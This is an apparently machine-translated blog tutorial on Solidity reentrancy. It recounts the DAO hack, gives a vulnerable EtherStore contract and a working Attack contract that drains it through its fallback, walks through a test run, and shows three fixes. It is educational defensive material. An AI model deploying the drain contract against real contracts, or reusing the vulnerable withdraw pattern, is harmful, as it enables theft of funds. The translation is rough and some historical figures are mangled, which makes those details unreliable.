当前位置:网站首页>Solidity - Security - reentrancy attack
Solidity - Security - reentrancy attack
2022-06-30 05:35:00 【ling1998】
The DAO event
First, a brief description of the next well-known reentry attack , Then simulate the reentry attack .
The DAO It is a distributed autonomous organization ,2016 year 5 Officially released in , The project uses the German Ethereum startup company Slock.it Write open source code .2016 year 6 month 17 In the morning , News of the attack began to appear on social networking sites , To 6 month 18 Japanese hackers will surpass 360 Million ethers transferred to one child DAO In the project ,child DAO The project and The DAO It has the same structure , At that time, the price of aether changed from 20 The dollar has come down 13 dollar .
at that time , A so-called ” Recursively call “ attack ( It is now called a reentry attack ) The noun followed , This attack can be used to consume some smart contract accounts .
This hacker attack finally led to the hard fork of Ethereum , It is divided into ETH and ETC, Before the bifurcation is ETC( Ethereum classic ), Currently in use ETH For Ethereum after hard bifurcation .
The whole event can be referred to : The DAO Attack history _x-2010 The blog of -CSDN Blog _dao attack
Simulate a reentry attack
Attack and attacked contract code
explain : The following reentry attack code , stay 0.8.0 The following versions can be successfully tested ,0.8.0 And above versions failed to test successfully , When calling the attack function, it is intercepted and an error is reported .
For the source code, see : smartcontract/Security/Reentrancy at main · tracyzhang1998/smartcontract · GitHub
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
// Attacked contract
contract EtherStore {
// Record the balance
mapping(address => uint256) public balance;
// deposit ,ether Transfer to the contract address , Also update the caller's balance;
function deposit() external payable {
balance[msg.sender] += msg.value;
}
// Withdraw money , Withdraw from the contract address balance to the caller address
function withdraw(uint256 _amount) external {
// Verify that the account balance is sufficient
require(balance[msg.sender] >= _amount, "The balance is not sufficient.");
// Withdraw money ( Transfer from the contract address to the caller's account )
(bool result,) = msg.sender.call{value: _amount}("");
// Verify the withdrawal result
require(result, "Failed to withdraw Ether");
// Update balance
balance[msg.sender] -= _amount;
}
// Check the contract balance
function getContractBalance() external view returns(uint256) {
return address(this).balance;
}
}
// Attack contracts ( Written by hackers )
contract Attack {
EtherStore public etherstore;
constructor(address _etherStoreAddress) public {
etherstore = EtherStore(_etherStoreAddress);
}
// Fallback function
fallback() external payable {
// Judge that the balance of the attacked contract is greater than or equal to 1 ether, To avoid a dead cycle , The call will fail in an infinite loop , I can't achieve my goal
if (address(etherstore).balance >= 1 ether) {
// Withdraw money from the attacked contract
etherstore.withdraw(1 ether);
}
}
// Attack function
function attack() external payable {
require(msg.value >= 1 ether);
// Deposit money into the attacked contract
//etherstore.deposit.value(1 ether)(); //0.6.0 Written in the previous version
etherstore.deposit{value: 1 ether}();
// Withdraw money from the attacked contract
etherstore.withdraw(1 ether);
}
// Check the contract balance
function getContractBalance() external view returns (uint256) {
return address(this).balance;
}
// Withdraw the contract balance to the external account
function withdraw() external payable {
payable(msg.sender).transfer(address(this).balance);
}
// View external account balance
function getExternalBalance() external view returns (uint256) {
return msg.sender.balance;
}
}Test reentry attacks
1、 The external account used for the test
Use three external accounts
Account 1 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 Deploy the attacked contract (EtherStore)
Account 2 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2 Deploy attack contract (Attack)
Account 3 0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db To the attacked contract (EtherStore) deposit
2、 Deployment contract
(1) Deploy the attacked contract (EtherStore)
Use account 1 Deploy the attacked contract (EtherStore)

After the deployment is completed, get the attacked contract (EtherStore) Address :0xd9145CCE52D386f254917e481eB44e9943F39138
(2) Deploy attack contract (Attack)
Use account 2 Deploy attack contract (Attack), Parameter fill in the attacked contract (EtherStore) Address , In the actual attack , The parameter is the actual contract address in the Ethernet .

The deployment is completed and the attack contract is obtained (Attack) Address :
0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95
3、 testing procedure ( Attack gain ETH)
(1) Account 3 Call the attacked contract (EtherStore) Deposit function
- Account 3 deposit 6Ether( Call function deposit)
- View the attacked contract (EtherStore) balance ( Call function getContractBalance), The current balance is 6Ether

(2) Account 2 Call attack contract (Attack) Attack function
- Account 2 Call attack contract (Attack) Attack function in ( Call function attack), The attacking function calls the withdrawal function in the attacked contract , The fallback function in the attack contract will be executed (fallback),fallback Transfer the balance of the attacked contract account to the attacking contract account
- View attack contracts (Attack) balance ( Call function getContractBalance), The balance is 7 Ether = Own savings 1 Ether + Attacked contract 6 Ether
- View the attacked contract (EtherStore) balance ( Call function getContractBalance), At this time, it is 0 Ether, Has been successfully transferred by the attacker

View the attacked contract (EtherStore) balance

explain :
fallback Function is an unnamed function in the contract , No parameters and no return value .
fallback conditions for execution :
- If in a call to the contract , When no other function matches the given function identifier ( Or no call data provided ),fallback The function will be executed ;
- When the contract receives ether ,fallback The function will be executed ; Attack contracts (Attack) This trigger is used in fallback conditions for execution .
About fallback Function executed 2 For the three triggering methods, see : Solitidy - fallback Fallback function - 2 Two trigger execution methods _ling1998 The blog of -CSDN Blog
(3) The attacker's contract balance is transferred to his own user account
- Account 2 Call attack contract (Attack) Withdrawal function in (withdraw), The balance of the contract account is transferred to the account 2 The user account
- View the attack contract account balance , Already been 0 Ether
- Look at the attackers ( I.e. account 2) User account balance , Successfully obtained about 6 Ether

4、 test 0.8.0 edition
Use 0.8.0 testing procedure (2) when , Report errors , The error message is as follows :
transact to Attack.attack errored: VM error: revert. revert The transaction has been reverted to the initial state. Reason provided by the contract: "Failed to withdraw Ether". Debug the transaction to get more information.

Solutions to reentry attacks
1、 Attacked contract (EtherStore) The withdrawal function in updates the balance before withdrawing
Call the attacked contract (EtherStore) Withdrawal function in , Tone order
// Update balance
balance[msg.sender] -= _amount;
// Withdraw money ( Transfer from the contract address to the caller's account )
(bool result,) = msg.sender.call{value: _amount}("");
// Verify the withdrawal result
require(result, "Failed to withdraw Ether");
Show the adjusted withdrawal function withdraw
// Withdraw money , Withdraw from the contract address balance to the caller address
function withdraw(uint256 _amount) external {
// Verify that the account balance is sufficient
require(balance[msg.sender] >= _amount, "The balance is not sufficient.");
// Update balance
balance[msg.sender] -= _amount;
// Withdraw money ( Transfer from the contract address to the caller's account )
(bool result,) = msg.sender.call{value: _amount}("");
// Verify the withdrawal result
require(result, "Failed to withdraw Ether");
}Perform test section 2 Step call attack contract (Attack) Attack function in , Report errors , And in 0.8.0 Version error same , As shown in the figure below

2、 Withdrawal use transfer Instead of msg.sender.call
// Withdraw money , Withdraw from the contract address balance to the caller address
function withdraw(uint256 _amount) external {
// Verify that the account balance is sufficient
require(balance[msg.sender] >= _amount, "The balance is not sufficient.");
/** Delete .call call **/
// // Withdraw money ( Transfer from the contract address to the caller's account )
// (bool result,) = msg.sender.call{value: _amount}("");
// // Verify the withdrawal result
// require(result, "Failed to withdraw Ether");
// Withdraw money ( Transfer from the contract address to the caller's account )
msg.sender.transfer(_amount);
// Update balance
balance[msg.sender] -= _amount;
}Perform test section 2 Step call attack contract (Attack) Attack function in , Report errors , As shown in the figure below :

3、 Using the reentry lock
Add a status variable to identify whether to lock , If it is locked, the withdrawal method in the attacked function can no longer be called .
// Attacked contract
contract EtherStore {
// Record the balance
mapping(address => uint256) public balance;
// lock
bool locked;
// Judge whether to lock , If the lock has been returned , Or lock it , Release lock after execution
modifier noLock() {
require(!locked, "The lock is locked.");
locked = true;
_;
locked = false;
}
// deposit ,ether Transfer to the contract address , Also update the caller's balance;
function deposit() external payable {
balance[msg.sender] += msg.value;
}
// Withdraw money , Withdraw from the contract address balance to the caller address
function withdraw(uint256 _amount) noLock external {
// Verify that the account balance is sufficient
require(balance[msg.sender] >= _amount, "The balance is not sufficient.");
// Withdraw money ( Transfer from the contract address to the caller's account )
(bool result,) = msg.sender.call{value: _amount}("");
// Verify the withdrawal result
require(result, "Failed to withdraw Ether");
// Update balance
balance[msg.sender] -= _amount;
}
// Check the contract balance
function getContractBalance() external view returns(uint256) {
return address(this).balance;
}
}Perform test section 2 Step call attack contract (Attack) Attack function in , Report errors , As shown in the figure below :

边栏推荐
- 旋转框目标检测mmrotate v0.3.1 学习配置
- Another download address for typro
- Intellj idea generates jar packages for projects containing external lib to other projects. The method refers to the jar package written by itself
- Xijiao 21 autumn "motor and drive" online homework answer sheet (I) [standard answer]
- Xi'an Jiaotong 21st autumn economics online homework answer sheet (III) [standard answer]
- UML tools
- mmdet之Loss模块详解
- Introduction to mmcv common APIs
- Bessel curve with n control points
- Responding with flow layout
猜你喜欢

86. 分隔链表

声网,站在物联网的“土壤”里

剑指 Offer 18. 删除链表的节点

C语言基础小操作

What are membrane stress and membrane strain

Chinese pycharm changed to English pycharm

Intellj idea generates jar packages for projects containing external lib to other projects. The method refers to the jar package written by itself

English语法_形容词/副词3级-最高级
![[chestnut sugar GIS] global mapper - how to assign the elevation value of the grid to the point](/img/bb/ea0e78065ba54ff253995faeeb6901.png)
[chestnut sugar GIS] global mapper - how to assign the elevation value of the grid to the point

PWN Introduction (2) stack overflow Foundation
随机推荐
[notes] unity webgl input Chinese
Redistemplate common method summary
Responsive layout
Bessel curve with n control points
【LeetCode】Easy | 225. Using queue to realize stack (pure C manual tearing queue)
Virtual and pure virtual destructions
[typescript] defines the return value type of promise
Why can transformer break into the CV world and kill CNN?
East Tower attack and defense world - XSS bypasses the safety dog
Idea of capturing mobile terminal variant combination
Another download address for typro
领导:谁再用 Redis 过期监听实现关闭订单,立马滚蛋!
pytorch中常用损失函数总结
Rotating box target detection mmrotate v0.3.1 getting started
How to prevent source code leakage in enterprises and institutions
3D rotation album
Display steerable 3D model in front of unity UI
Responding with flow layout
Installation and getting started with pytoch
Chinese pycharm changed to English pycharm